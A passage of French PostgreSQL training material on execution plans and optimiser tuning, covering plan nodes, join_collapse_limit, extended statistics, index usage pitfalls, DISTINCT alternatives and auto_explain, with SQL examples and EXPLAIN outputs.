Append, Except, Intersect :
Les nœuds Append, Except et Intersect se
rencontrent avec les opérateurs ensemblistes UNION
,
EXCEPT
et INTERSECT
. Par exemple, avec
UNION ALL
:
EXPLAIN
SELECT * FROM employes
WHERE num_service = 2
UNION ALL
SELECT * FROM employes
WHERE num_service = 4;
QUERY PLAN
--------------------------------------------------------------------------
Append (cost=0.00..2.43 rows=8 width=43)
-> Seq Scan on employes (cost=0.00..1.18 rows=3 width=43)
Filter: (num_service = 2)
-> Seq Scan on employes employes_1 (cost=0.00..1.18 rows=5 width=43)
Filter: (num_service = 4)
InitPlan :
Le nœud InitPlan apparaît lorsque PostgreSQL a besoin d’exécuter une première sous-requête pour ensuite exécuter le reste de la requête. Il est assez rare :
EXPLAIN
SELECT *,
(SELECT nom_service FROM services WHERE num_service=1)
FROM employes WHERE num_service = 1;
QUERY PLAN
----------------------------------------------------------------
Seq Scan on employes (cost=1.05..2.23 rows=2 width=101)
Filter: (num_service = 1)
InitPlan 1 (returns $0)
-> Seq Scan on services (cost=0.00..1.05 rows=1 width=10)
Filter: (num_service = 1)
SubPlan :
Le nœud SubPlan est utilisé lorsque PostgreSQL a besoin d’exécuter une sous-requête pour filtrer les données :
EXPLAIN
SELECT * FROM employes
WHERE num_service NOT IN (SELECT num_service FROM services
WHERE nom_service = 'Consultants');
QUERY PLAN
----------------------------------------------------------------
Seq Scan on employes (cost=1.05..2.23 rows=7 width=43)
Filter: (NOT (hashed SubPlan 1))
SubPlan 1
-> Seq Scan on services (cost=0.00..1.05 rows=1 width=4)
Filter: ((nom_service)::text = 'Consultants'::text)
Gather :
Le nœud Gather n’apparaît que s’il y a du parallélisme. Il est utilisé comme nœud de rassemblement des données.
Memoize :
Apparu avec PostgreSQL 14, le nœud Memoize est un cache de résultat qui permet d’optimiser les performances d’autres nœuds en mémorisant des données qui risquent d’être accédées plusieurs fois de suite. Pour le moment, ce nœud n’est utilisable que pour les données de l’ensemble interne d’un Nested Loop.
D’autres types de nœuds peuvent également être trouvés dans les plans d’exécution. L’annexe décrit tous ces nœuds en détail.
L’optimiseur de PostgreSQL est sans doute la partie la plus complexe de PostgreSQL. Il se trompe rarement, mais certains facteurs peuvent entraîner des temps d’exécution très lents, voire catastrophiques de certaines requêtes.
Les statistiques sur les données doivent être suffisamment récentes. Celles calculées par défaut portent sur un échantillon de chaque colonne séparément et c’est parfois insuffisant. Sur ce sujet, voir le module M6 - Statistiques pour le planificateur.
join_collapse_limit
(défaut : 8)join_collapse_limit
si nécessaire (12-15)
from_collapse_limit
Les paramètres join_collapse_limit
et
from_collapse_limit
sont trop peu connus, mais peuvent
améliorer radicalement les performances si vous joignez souvent plus de
huit tables.
Voici un exemple complet de ce problème. Disons que
join_collapse_limit
est configuré à 2 (le défaut est en
réalité 8).
Nous allons déjà créer deux tables et les peupler avec 1 million de lignes chacune :
CREATE TABLE t1 (id integer);
INSERT INTO t1 SELECT generate_series(1, 1000000);
CREATE TABLE t2 (id integer);
INSERT INTO t2 SELECT generate_series(1, 1000000);
ANALYZE;
Maintenant, nous allons demander le plan d’exécution pour une jointure entre les deux tables :
QUERY PLAN
--------------------------------------------------------------------------------
Hash Join (cost=30832.00..70728.00 rows=1000000 width=8)
(actual time=2355.012..6141.672 rows=1000000 loops=1)
Hash Cond: (t1.id = t2.id)
-> Seq Scan on t1 (cost=0.00..14425.00 rows=1000000 width=4)
(actual time=0.012..1137.629 rows=1000000 loops=1)
-> Hash (cost=14425.00..14425.00 rows=1000000 width=4)
(actual time=2354.750..2354.753 rows=1000000 loops=1)
Buckets: 131072 Batches: 16 Memory Usage: 3227kB
-> Seq Scan on t2 (cost=0.00..14425.00 rows=1000000 width=4)
(actual time=0.008..1144.492 rows=1000000 loops=1)
Planning Time: 0.095 ms
Execution Time: 7246.491 ms
PostgreSQL choisit de lire la table t2
, de remplir une
table de hachage avec le résultat de cette lecture, puis de parcourir la
table t1
, et enfin de tester la condition de jointure grâce
à la table de hachage.
Ajoutons maintenant une troisième table, sans données cette fois :
Et ajoutons une jointure à la requête précédente. Cela nous donne cette requête :
Son plan d’exécution, avec la configuration par défaut de PostgreSQL,
sauf le join_collapse_limit
à 2, est :
QUERY PLAN
-------------------------------------------------------------------------------
Gather (cost=77972.88..80334.59 rows=2550 width=12)
(actual time=2902.385..2913.956 rows=0 loops=1)
Workers Planned: 2
Workers Launched: 2
-> Merge Join (cost=76972.88..79079.59 rows=1062 width=12)
(actual time=2894.440..2894.615 rows=0 loops=3)
Merge Cond: (t1.id = t3.id)
-> Sort (cost=76793.10..77834.76 rows=416667 width=8)
(actual time=2894.405..2894.572 rows=1 loops=3)
Sort Key: t1.id
Sort Method: external merge Disk: 5912kB
Worker 0: Sort Method: external merge Disk: 5960kB
Worker 1: Sort Method: external merge Disk: 5848kB
-> Parallel Hash Join (cost=15428.00..32202.28 rows=416667 width=8)
(actual time=1892.071..2400.515 rows=333333 loops=3)
Hash Cond: (t1.id = t2.id)
-> Parallel Seq Scan on t1 (cost=0.00..8591.67 rows=416667 width=4)
(actual time=0.007..465.746 rows=333333 loops=3)
-> Parallel Hash (cost=8591.67..8591.67 rows=416667 width=4)
(actual time=950.509..950.514 rows=333333 loops=3)
Buckets: 131072 Batches: 16 Memory Usage: 3520kB
-> Parallel Seq Scan on t2 (cost=0.00..8591.67 rows=416667 width=4)
(actual time=0.017..471.653 rows=333333 loops=3)
-> Sort (cost=179.78..186.16 rows=2550 width=4)
(actual time=0.028..0.032 rows=0 loops=3)
Sort Key: t3.id
Sort Method: quicksort Memory: 25kB
Worker 0: Sort Method: quicksort Memory: 25kB
Worker 1: Sort Method: quicksort Memory: 25kB
-> Seq Scan on t3 (cost=0.00..35.50 rows=2550 width=4)
(actual time=0.019..0.020 rows=0 loops=3)
Planning Time: 0.120 ms
Execution Time: 2914.661 ms
En effet, dans ce cas, PostgreSQL va trier les jointures sur les 2
premières tables (soit t1
et t2
), et il
ajoutera ensuite les autres jointures dans l’ordre indiqué par la
requête. Donc, ici, il joint t1
et t2
, puis le
résultat avec t3
, ce qui nous donne une requête exécutée en
un peu moins de 3 secondes. C’est beaucoup quand on considère que la
table t3
est vide et que le résultat sera forcément vide
lui aussi (l’optimiseur a certes estimé trouver 2550 lignes dans
t3
, mais cela reste très faible par rapport aux autres
tables).
Maintenant, voici le plan d’exécution pour la même requête avec un
join_collapse_limit
à 3 :
QUERY PLAN
-------------------------------------------------------------------------------
Gather (cost=35861.44..46281.24 rows=2550 width=12)
(actual time=14.943..15.617 rows=0 loops=1)
Workers Planned: 2
Workers Launched: 2
-> Hash Join (cost=34861.44..45026.24 rows=1062 width=12)
(actual time=0.119..0.134 rows=0 loops=3)
Hash Cond: (t2.id = t1.id)
-> Parallel Seq Scan on t2 (cost=0.00..8591.67 rows=416667 width=4)
(actual time=0.010..0.011 rows=1 loops=3)
-> Hash (cost=34829.56..34829.56 rows=2550 width=8)
(actual time=0.011..0.018 rows=0 loops=3)
Buckets: 4096 Batches: 1 Memory Usage: 32kB
-> Hash Join (cost=30832.00..34829.56 rows=2550 width=8)
(actual time=0.008..0.013 rows=0 loops=3)
Hash Cond: (t3.id = t1.id)
-> Seq Scan on t3 (cost=0.00..35.50 rows=2550 width=4)
(actual time=0.006..0.007 rows=0 loops=3)
-> Hash (cost=14425.00..14425.00 rows=1000000 width=4)
(never executed)
-> Seq Scan on t1 (cost=0.00..14425.00 rows=1000000 width=4)
(never executed)
Planning Time: 0.331 ms
Execution Time: 15.662 ms
Déjà, on voit que la planification a pris plus de temps. La durée
reste très basse (0,3 milliseconde) ceci dit. Cette fois, PostgreSQL
commence par joindre t3
à t1
. Comme
t3
ne contient aucune ligne, t1
n’est même pas
parcourue (texte never executed
) et le résultat de cette
première jointure renvoie 0 lignes. De ce fait, la création de la table
de hachage est très rapide. La table de hachage étant vide, le parcours
de t2
est abandonné après la première ligne lue. Cela nous
donne une requête exécutée en 15 millisecondes.
join_collapse_limit
est donc
essentielle pour de bonnes performances, notamment sur les requêtes
réalisant un grand nombre de jointures.
Il est courant de monter join_collapse_limit
à 12 si
l’on a des requêtes avec autant de tables (incluant les vues).
Il existe un paramètre très voisin, from_collapse_limit
,
qui définit à quelle profondeur « aplatir » les sous-requêtes. On le
monte à la même valeur que join_collapse_limit
.
Des valeurs plus élevées (jusque 20 ou plus) sont plus dangereuses,
car le temps de planification peut monter très haut (centaines de
millisecondes, voire pire). Mais elles se justifient dans certains
domaines. Il est alors préférable de positionner ces valeurs élevées
uniquement au niveau de la session, de l’écran, ou de l’utilisateur avec
SET
ou ALTER ROLE … SET …
.
À l’inverse, descendre join_collapse_limit
à 1 permet de
dicter
l’ordre d’exécution au planificateur, une mesure de dernier
recours.
Comme le temps de planification et la consommation de RAM et CPU
augmente très vite avec le nombre de tables, il vaut mieux ne pas monter
join_collapse_limit
beaucoup plus haut sans tester que ce
n’est pas contre-productif. Dans la session concernée, il reste possible
de définir :
À l’inverse, la valeur 1 permet de forcer les jointures dans l’ordre
de la clause FROM
, ce qui est à réserver aux cas
désespérés.
Au-delà de 12 tables intervient encore un autre mécanisme,
l’optimiseur génétique (GEQO).
Pour limiter le nombre de plans étudiés, seul un échantillonnage
aléatoire est testé puis recombiné. Il est déconseillé de le désactiver
ou de modifier ses paramètres, mais on peut tenter de modifier
geqo_seed
pour le forcer à choisir d’autres plans.
extract
CREATE STATISTIC
(v14)Lorsque les valeurs des colonnes sont transformées par un calcul ou par une fonction, l’optimiseur n’a aucun moyen de connaître la sélectivité d’un prédicat. Il utilise donc une estimation codée en dur dans le code de l’optimiseur : 0,5 % du nombre de lignes de la table. Dans la requête suivante, l’optimiseur estime alors que la requête va ramener 2495 lignes :
QUERY PLAN
---------------------------------------------------------------
Gather (cost=1000.00..9552.15 rows=2495 width=40)
Workers Planned: 2
-> Parallel Seq Scan on employes_big
(cost=0.00..8302.65 rows=1040 width=40)
Filter: (date_part('year'::text,
(date_embauche)::timestamp without time zone)
= '2006'::double precision)
Ces 2495 lignes correspondent à 0,5 % de la table
employes_big
.
Nous avons vu qu’il est préférable de réécrire la requête de manière à pouvoir utiliser les statistiques existantes sur la colonne, mais ce n’est pas toujours aisé ou même possible.
Dans ce cas, on peut se rabattre sur l’ordre
CREATE STATISTICS
. Nous avons vu plus haut qu’il permet de
calculer des statistiques sur des résultats d’expressions (ne pas
oublier ANALYZE
).
CREATE STATISTICS employe_big_extract
ON extract('year' from date_embauche) FROM employes_big;
ANALYZE employes_big;
Les estimations du plan sont désormais correctes :
QUERY PLAN
----------------------------------------------------------------------
Seq Scan on employes_big (cost=0.00..12149.22 rows=498998 width=40)
Filter: (EXTRACT(year FROM date_embauche) = '2006'::numeric)
Avant PostgreSQL 14, il est nécessaire de créer un index fonctionnel sur l’expression pour que des statistiques soient calculées.
varchar_pattern_ops
/ text_pattern_ops
,
etc.LIKE '%mot%'
:
pg_trgm
,Il existe cependant une spécificité à PostgreSQL : dans le cas d’une
recherche avec préfixe, il peut utiliser directement un index sur la
colonne si l’encodage est « C ». Or le collationnement par défaut d’une
base est presque toujours en_US.UTF-8
ou
fr_FR.UTF-8
, selon les choix à l’installation de l’OS ou de
PostgreSQL :
\l
Liste des bases de données
Nom | Propriétaire | Encodage | Collationnement | Type caract. | …
-----------+--------------+----------+-----------------+--------------+---
pgbench | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | …
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | …
textes_10 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
Il faut alors utiliser une classe d’opérateur lors de la création de l’index. Cela donnera par exemple :
Ce n’est qu’à cette condition qu’un LIKE 'mot%'
pourra
utiliser l’index. Par contre, l’opérateur
varchar_pattern_ops
ne permet pas de trier
(ORDER BY
notamment), faute de collation, il faudra donc
peut-être indexer deux fois la colonne.
Un encodage C (purement anglophone) ne nécessite pas l’ajout d’une
classe d’opérateurs varchar_pattern_ops
.
Pour les recherches à l’intérieur d’un texte
(LIKE '%mot%'
), il existe deux autres options :
pg_trgm
est une extension permettant de faire des
recherches de type par trigramme et un index GIN ou GiST ;DELETE
lentDelete (actual time=111.251..111.251 rows=0 loops=1)
-> Hash Join (actual time=1.094..21.402 rows=9347 loops=1)
-> Seq Scan on lot_a30_descr_lot
(actual time=0.007..11.248 rows=34934 loops=1)
-> Hash (actual time=0.501..0.501 rows=561 loops=1)
-> Bitmap Heap Scan on lot_a10_pdl
(actual time=0.121..0.326 rows=561 loops=1)
Recheck Cond: (id_fantoir_commune = 320013)
-> Bitmap Index Scan on...
(actual time=0.101..0.101 rows=561 loops=1)
Index Cond: (id_fantoir_commune = 320013)
Trigger for constraint fk_lotlocal_lota30descrlot:
time=1010.358 calls=9347
Trigger for constraint fk_nonbatia21descrsuf_lota30descrlot:
time=2311695.025 calls=9347
Total runtime: 2312835.032 ms
Parfois, un DELETE
peut prendre beaucoup de temps à
s’exécuter. Cela peut être dû à un grand nombre de lignes à supprimer.
Cela peut aussi être dû à la vérification des contraintes
étrangères.
Dans l’exemple ci-dessus, le DELETE
met 38 minutes à
s’exécuter (2 312 835 ms), pour ne supprimer aucune ligne. En fait,
c’est la vérification de la contrainte
fk_nonbatia21descrsuf_lota30descrlot
qui prend pratiquement
tout le temps. C’est d’ailleurs pour cette raison qu’il est recommandé
de positionner des index sur les clés étrangères, car cet index permet
d’accélérer la recherche liée à la contrainte.
Attention donc aux contraintes de clés étrangères pour les instructions DML !
DISTINCT
est souvent utilisé pour dédoublonner les
lignes
DISTINCT ON
GROUP BY
Un DISTINCT
est une opération coûteuse à cause du tri
nécessaire. Il est fréquent de le voir ajouté abusivement, « par
prudence » ou pour compenser un bug de jointure. De plus il constitue
une « barrière à l’optimisation » s’il s’agit d’une partie de
requête.
Si le résultat contient telles quelles les clés primaires de toutes
les tables jointes, le DISTINCT
est mathématiquement
inutile ! PostgreSQL ne sait malheureusement pas repérer tout seul ce
genre de cas.
Quand le dédoublonnage est justifié, il faut savoir qu’il y a deux
alternatives principales au DISTINCT
. Leurs efficacités
relatives sont très dépendantes du paramétrage mémoire
(work_mem
) ou des volumétries, ou encore de la présence
d’index permettant d’éviter le tri.
Un GROUP BY
des colonnes retournées est fastidieux à
coder, mais donne parfois un plan efficace. Cette astuce est plus
fréquemment utile avant PostgreSQL 13.
Une autre possibilité est d’utiliser la syntaxe
DISTINCT ON (champs)
, qui renvoie la première ligne
rencontrée sur une clé fournie (documentation).
Exemples (sous PostgreSQL 15.2, configuration par défaut sur une petite configuration, cache chaud) :
Il s’agit ici d’afficher la liste des membres des différents services.
DISTINCT
: notez le tri sur disque.EXPLAIN (COSTS OFF, ANALYZE)
SELECT DISTINCT
matricule,
nom, prenom, fonction, manager, date_embauche,
num_service, nom_service, localisation, departement
FROM employes_big
JOIN services USING (num_service) ;
QUERY PLAN
--------------------------------------------------------------------------------
Unique (actual time=2930.441..4765.048 rows=499015 loops=1)
-> Sort (actual time=2930.435..3351.819 rows=499015 loops=1)
Sort Key: employes_big.matricule, employes_big.nom, employes_big.prenom, employes_big.fonction, employes_big.manager, employes_big.date_embauche, employes_big.num_service, services.nom_service, services.localisation, services.departement
Sort Method: external merge Disk: 38112kB
-> Hash Join (actual time=0.085..1263.867 rows=499015 loops=1)
Hash Cond: (employes_big.num_service = services.num_service)
-> Seq Scan on employes_big (actual time=0.030..273.710 rows=499015 loops=1)
-> Hash (actual time=0.032..0.035 rows=4 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Seq Scan on services (actual time=0.014..0.020 rows=4 loops=1)
Planning Time: 0.973 ms
Execution Time: 4938.634 ms
GROUP BY
: il n’y a pas de gain en
temps dans ce cas précis, mais il n’y a plus de tri sur disque, car
l’index sur la clé primaire est utilisé. Noter que PostgreSQL est assez
malin pour repérer les clés primaire (ici matricule
et
num_service
). Il évite alors d’inclure dans les données à
regrouper ces clés, et tous les champs de la première table.EXPLAIN (COSTS OFF, ANALYZE)
SELECT
matricule,
nom, prenom, fonction, manager, date_embauche,
num_service, nom_service, localisation, departement
FROM employes_big
JOIN services USING (num_service)
GROUP BY
matricule,
nom, prenom, fonction, manager, date_embauche,
num_service, nom_service, localisation, departement ;
QUERY PLAN
--------------------------------------------------------------------------------
Group (actual time=0.409..5067.075 rows=499015 loops=1)
Group Key: employes_big.matricule, services.nom_service, services.localisation, services.departement
-> Incremental Sort (actual time=0.405..3925.924 rows=499015 loops=1)
Sort Key: employes_big.matricule, services.nom_service, services.localisation, services.departement
Presorted Key: employes_big.matricule
Full-sort Groups: 15595 Sort Method: quicksort Average Memory: 28kB Peak Memory: 28kB
-> Nested Loop (actual time=0.092..2762.395 rows=499015 loops=1)
-> Index Scan using employes_big_pkey on employes_big (actual time=0.050..861.828 rows=499015 loops=1)
-> Memoize (actual time=0.001..0.001 rows=1 loops=499015)
Cache Key: employes_big.num_service
Cache Mode: logical
Hits: 499011 Misses: 4 Evictions: 0 Overflows: 0 Memory Usage: 1kB
-> Index Scan using services_pkey on services (actual time=0.012..0.012 rows=1 loops=4)
Index Cond: (num_service = employes_big.num_service)
Planning Time: 0.900 ms
Execution Time: 5190.287 ms
work_mem
de 4 à 100 Mo, les deux versions
basculent sur ce plan, ici plus efficace, qui n’utilise plus l’index,
mais ne trie qu’en mémoire, avec la même astuce que ci-dessus. QUERY PLAN
--------------------------------------------------------------------------------
HashAggregate (actual time=3122.612..3849.449 rows=499015 loops=1)
Group Key: employes_big.matricule, services.nom_service, services.localisation, services.departement
Batches: 1 Memory Usage: 98321kB
-> Hash Join (actual time=0.136..1354.195 rows=499015 loops=1)
Hash Cond: (employes_big.num_service = services.num_service)
-> Seq Scan on employes_big (actual time=0.050..322.423 rows=499015 loops=1)
-> Hash (actual time=0.042..0.046 rows=4 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Seq Scan on services (actual time=0.020..0.026 rows=4 loops=1)
Planning Time: 0.967 ms
Execution Time: 3970.353 ms
service
pour chacune d’employes_big
.RESET work_mem ;
EXPLAIN (COSTS OFF, ANALYZE)
SELECT DISTINCT ON (matricule)
matricule,
nom, prenom, fonction, manager, date_embauche,
num_service, nom_service, localisation, departement
FROM employes_big
JOIN services USING (num_service) ;
QUERY PLAN
--------------------------------------------------------------------------------
Unique (actual time=0.093..3812.414 rows=499015 loops=1)
-> Nested Loop (actual time=0.090..2741.919 rows=499015 loops=1)
-> Index Scan using employes_big_pkey on employes_big (actual time=0.049..847.356 rows=499015 loops=1)
-> Memoize (actual time=0.001..0.001 rows=1 loops=499015)
Cache Key: employes_big.num_service
Cache Mode: logical
Hits: 499011 Misses: 4 Evictions: 0 Overflows: 0 Memory Usage: 1kB
-> Index Scan using services_pkey on services (actual time=0.012..0.012 rows=1 loops=4)
Index Cond: (num_service = employes_big.num_service)
Planning Time: 0.711 ms
Execution Time: 3982.201 ms
DISTINCT
est inutile. La jointure peut se faire de manière
plus classique.EXPLAIN (COSTS OFF, ANALYZE)
SELECT
matricule,
nom, prenom, fonction, manager, date_embauche,
num_service, nom_service, localisation, departement
FROM employes_big
JOIN services USING (num_service) ;
QUERY PLAN
--------------------------------------------------------------------------------
Hash Join (actual time=0.083..1014.796 rows=499015 loops=1)
Hash Cond: (employes_big.num_service = services.num_service)
-> Seq Scan on employes_big (actual time=0.027..214.360 rows=499015 loops=1)
-> Hash (actual time=0.032..0.036 rows=4 loops=1)
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Seq Scan on services (actual time=0.013..0.019 rows=4 loops=1)
Planning Time: 0.719 ms
Execution Time: 1117.126 ms
Si les DISTINCT
sont courants et critiques dans votre
application, notez que le nœud est parallélisable depuis
PostgreSQL 15.
random_page_cost
effective_cache_size
Il est relativement fréquent de créer soigneusement un index, et que PostgreSQL ne daigne pas l’utiliser. Il peut y avoir plusieurs raisons à cela.
Problème de statistiques :
Les statistiques de la table peuvent être périmées ou imprécises, pour les causes vues plus haut.
Un index fonctionnel possède ses propres statistiques : il faut donc
penser à lancer ANALYZE
après sa création. De même après un
CREATE STATISTICS
.
Nombre de lignes trouvées dans l’index :
Il faut se rappeler que PostgreSQL aura tendance à ne pas utiliser un index s’il doit chercher trop de lignes (ou plutôt de blocs), dans l’index comme dans la table ensuite. Il sera par contre tenté si cet index permet d’éviter des tris ou s’il est couvrant, et pas trop gros. La dispersion des lignes rencontrées dans la table est un facteur également pris en compte.
Colonnes d’un index B-tree :
Un index B-tree multicolonne est inutilisable, en tout cas beaucoup moins performant, si les premiers champs ne sont pas fournis. L’ordre des colonnes a son importance.
Taille d’un index :
PostgreSQL tient compte de la taille des index. Un petit index peut être préféré à un index multicolonne auquel on a ajouté trop de champs pour qu’il soit couvrant.
Problèmes de prédicats :
Dans d’autres cas, les prédicats d’une requête ne permettent pas à l’optimiseur de choisir un index pour répondre à une requête. C’est le cas lorsque le prédicat inclut une transformation de la valeur d’une colonne. L’exemple suivant est assez naïf, mais assez représentatif et démontre bien le problème :
Avec une telle construction, l’optimiseur ne saura pas tirer partie
d’un quelconque index, à moins d’avoir créé un index fonctionnel sur
date_embauche + interval '1 month'
, mais cet index est
largement contre-productif par rapport à une réécriture de la
requête.
Ce genre de problème se rencontre plus souvent avec des prédicats sur des dates :
ou encore plus fréquemment rencontré :
SELECT * FROM employes WHERE extract('year' from date_embauche) = 2006;
SELECT * FROM employes WHERE upper(prenom) = 'GASTON';
Opérateurs non-supportés :
Les index B-tree supportent la plupart des opérateurs généraux sur
les variables scalaires (entiers, chaînes, dates, mais pas les types
composés comme les géométries, hstore…), mais pas la différence
(<>
ou !=
). Par nature, il n’est pas
possible d’utiliser un index pour déterminer toutes les valeurs sauf
une. Mais ce type de construction est parfois utilisé pour exclure
les valeurs les plus fréquentes d’une colonne. Dans ce cas, il est
possible d’utiliser un index partiel qui, en plus, sera très petit car
il n’indexera qu’une faible quantité de données par rapport à la
totalité de la table :
QUERY PLAN
-------------------------------------------------------------------------------
Gather (cost=1000.00..8264.74 rows=17 width=41)
Workers Planned: 2
-> Parallel Seq Scan on employes_big (cost=0.00..7263.04 rows=7 width=41)
Filter: (num_service <> 4)
La création d’un index partiel permet d’en tirer partie :
CREATE INDEX ON employes_big(num_service) WHERE num_service<>4;
EXPLAIN SELECT * FROM employes_big WHERE num_service<>4;
QUERY PLAN
----------------------------------------------------------------
Index Scan using employes_big_num_service_idx1 on employes_big
(cost=0.14..12.35 rows=17 width=40)
Paramétrage de PostgreSQL
Plusieurs paramètres de PostgreSQL influencent l’optimiseur sur l’utilisation ou non d’un index :
random_page_cost
: indique à PostgreSQL la vitesse d’un
accès aléatoire par rapport à un accès séquentiel
(seq_page_cost
) ;effective_cache_size
: indique à PostgreSQL une
estimation de la taille du cache disque du système.Le paramètre random_page_cost
a une grande influence sur
l’utilisation des index en général. Il indique à PostgreSQL le coût d’un
accès disque aléatoire. Il est à comparer au paramètre
seq_page_cost
qui indique à PostgreSQL le coût d’un accès
disque séquentiel. Ces coûts d’accès sont purement arbitraires et n’ont
aucune réalité physique.
Dans sa configuration par défaut, PostgreSQL estime qu’un accès aléatoire est 4 fois plus coûteux qu’un accès séquentiel. Les accès aux index étant par nature aléatoires alors que les parcours de table sont par nature séquentiels, modifier ce paramètre revient à favoriser l’un par rapport à l’autre. Cette valeur est bonne dans la plupart des cas. Mais si le serveur de bases de données dispose d’un système disque rapide, c’est-à-dire une bonne carte RAID et plusieurs disques SAS rapides en RAID10, ou du SSD, il est possible de baisser ce paramètre à 3 voire 2 ou 1.
Pour aller plus loin, n’hésitez pas à consulter cet article de blog
NOT IN
avec une sous-requête
NOT EXISTS
UNION
entraîne un tri systématique
UNION ALL
SELECT
LATERAL
La façon dont une requête SQL est écrite peut aussi avoir un effet négatif sur les performances. Il n’est pas possible d’écrire tous les cas possibles, mais certaines formes d’écritures reviennent souvent.
La clause NOT IN
n’est pas performante lorsqu’elle est
utilisée avec une sous-requête. L’optimiseur ne parvient pas à exécuter
ce type de requête efficacement.
Il est nécessaire de la réécrire avec la clause
NOT EXISTS
, par exemple :
L’absence de la notion de hints, qui permettent au DBA de forcer l’optimiseur à choisir des plans d’exécution jugés pourtant trop coûteux, est voulue. Elle a même été intégrée dans la liste des fonctionnalités dont la communauté ne voulait pas (« Features We Do Not Want »).
L’absence des hints est très bien expliquée dans un billet de Josh Berkus, ancien membre de la Core Team de PostgreSQL :
Le fait que certains DBA demandent cette fonctionnalité ne veut pas dire qu’ils ont réellement besoin de cette fonctionnalité. Parfois ce sont de mauvaises habitudes d’une époque révolue, où les optimiseurs étaient parfaitement stupides. Ajoutons à cela que les SGBD courants étant des projets commerciaux, ils sont forcément plus poussés à accéder aux demandes des clients, même si ces demandes ne se justifient pas, ou sont le résultat de pressions de pur court terme. Le fait que PostgreSQL soit un projet libre permet justement aux développeurs du projet de choisir les fonctionnalités implémentées suivant leurs idées, et non pas la pression du marché.
Selon le wiki sur le sujet, l’avis de la communauté PostgreSQL est que les hints, du moins tels qu’ils sont implémentés ailleurs, mènent à une plus grande complexité du code applicatif, donc à des problèmes de maintenabilité, interfèrent avec les mises à jour, risquent d’être contre-productifs au fur et à mesure que vos tables grossissent, et sont généralement inutiles. Sur le long terme, il vaut mieux rapporter un problème rencontré avec l’optimiseur pour qu’il soit définitivement corrigé. L’absence de hints permet d’être plus facilement et rapidement mis au courant des problèmes de l’optimiseur. Sur le long terme, cela est meilleur pour le projet comme pour les utilisateurs. Cela a notamment mené à améliorer l’optimiseur et le recueil des statistiques.
L’accumulation de hints dans un système a tendance à poser problème lors de l’évolution des besoins, de la volumétrie ou après des mises à jour. Si le plan d’exécution généré n’est pas optimal, il est préférable de chercher à comprendre d’où vient l’erreur. Il est rare que l’optimiseur se trompe : en général c’est lui qui a raison. Mais il ne peut faire qu’avec les statistiques à sa disposition, le modèle qu’il voit, les index que vous avez créés. Nous avons vu dans ce module quelles pouvaient être les causes entraînant des erreurs de plan :
Ajoutons qu’il existe des outils comme PoWA pour vous aider à optimiser des requêtes.
ALTER DATABASE erp SET auto_explain.log_min_duration = '3s' ;
L’outil auto_explain
est habituellement activé quand on
a le sentiment qu’une requête devient subitement lente à certains
moments, et qu’on suspecte que son plan diffère entre deux exécutions.
Elle permet de tracer dans les journaux applicatifs, voire dans la
console, le plan de la requête dès qu’elle dépasse une durée
configurée.
C’est une « contrib » officielle de PostgreSQL (et non une
extension). Tracer systématiquement le plan d’exécution d’une requête
souvent répétée prend de la place, et est assez coûteux. C’est donc un
outil à utiliser parcimonieusement. En général on ne trace ainsi que les
requêtes dont la durée d’exécution dépasse la durée configurée avec le
paramètre auto_explain.log_min_duration
. Par défaut, ce
paramètre vaut -1 pour ne tracer aucun plan.
Comme dans un EXPLAIN
classique, on peut activer les
options (par exemple ANALYZE
ou TIMING
avec,
respectivement, un SET auto_explain.log_analyze TO true;
ou
un SET auto_explain.log_timing TO true;
) mais l’impact en
performance peut être important même pour les requêtes qui ne seront pas
tracées.
D’autres options existent, qui reprennent les paramètres habituels
d’EXPLAIN
, notamment :
auto_explain.log_buffers
,
auto_explain.log_settings
.
Quant à auto_explain.sample_rate
, il permet de ne tracer
qu’un échantillon des requêtes (voir la documentation).
Pour utiliser auto_explain
globalement, il faut charger
la bibliothèque au démarrage dans le fichier
postgresql.conf
via le paramètre
shared_preload_libraries
.
Après un redémarrage de l’instance, il est possible de configurer les
paramètres de capture des plans d’exécution par base de données. Dans
l’exemple ci-dessous, l’ensemble des requêtes sont tracées sur la base
de données bench
, qui est utilisée par
pgbench
.
ALTER DATABASE bench SET auto_explain.log_min_duration = '0';
ALTER DATABASE bench SET auto_explain.log_analyze = true;
Attention, l’activation des traces complètes sur une base de données avec un fort volume de requêtes peut être très coûteux.
Un benchmark pgbench
est lancé sur la base de données
bench
avec 1 client qui exécute 1 transaction par seconde
pendant 20 secondes :
Les plans d’exécution de l’ensemble les requêtes exécutées par
pgbench
sont alors tracés dans les traces de
l’instance.
2021-07-01 13:12:55.790 CEST [1705] LOG: duration: 0.041 ms plan:
Query Text: SELECT abalance FROM pgbench_accounts WHERE aid = 416925;
Index Scan using pgbench_accounts_pkey on pgbench_accounts
(cost=0.42..8.44 rows=1 width=4) (actual time=0.030..0.032 rows=1 loops=1)
Index Cond: (aid = 416925)
2021-07-01 13:12:55.791 CEST [1705] LOG: duration: 0.123 ms plan:
Query Text: UPDATE pgbench_tellers SET tbalance = tbalance + -3201 WHERE tid = 19;
Update on pgbench_tellers (cost=0.00..2.25 rows=1 width=358)
(actual time=0.120..0.121 rows=0 loops=1)
-> Seq Scan on pgbench_tellers (cost=0.00..2.25 rows=1 width=358)
(actual time=0.040..0.058 rows=1 loops=1)
Filter: (tid = 19)
Rows Removed by Filter: 99
2021-07-01 13:12:55.797 CEST [1705] LOG: duration: 0.116 ms plan:
Query Text: UPDATE pgbench_branches SET bbalance = bbalance + -3201 WHERE bid = 5;
Update on pgbench_branches (cost=0.00..1.13 rows=1 width=370)
(actual time=0.112..0.114 rows=0 loops=1)
-> Seq Scan on pgbench_branches (cost=0.00..1.13 rows=1 width=370)
(actual time=0.036..0.038 rows=1 loops=1)
Filter: (bid = 5)
Rows Removed by Filter: 9
[...]
Pour utiliser auto_explain
uniquement dans la session en
cours, il faut penser à descendre au niveau de message LOG
(défaut de auto_explain
). On procède ainsi :
LOAD 'auto_explain';
SET auto_explain.log_min_duration = 0;
SET auto_explain.log_analyze = true;
SET client_min_messages to log;
SELECT count(*)
FROM pg_class, pg_index
WHERE oid = indrelid AND indisunique;
LOG: duration: 1.273 ms plan:
Query Text: SELECT count(*)
FROM pg_class, pg_index
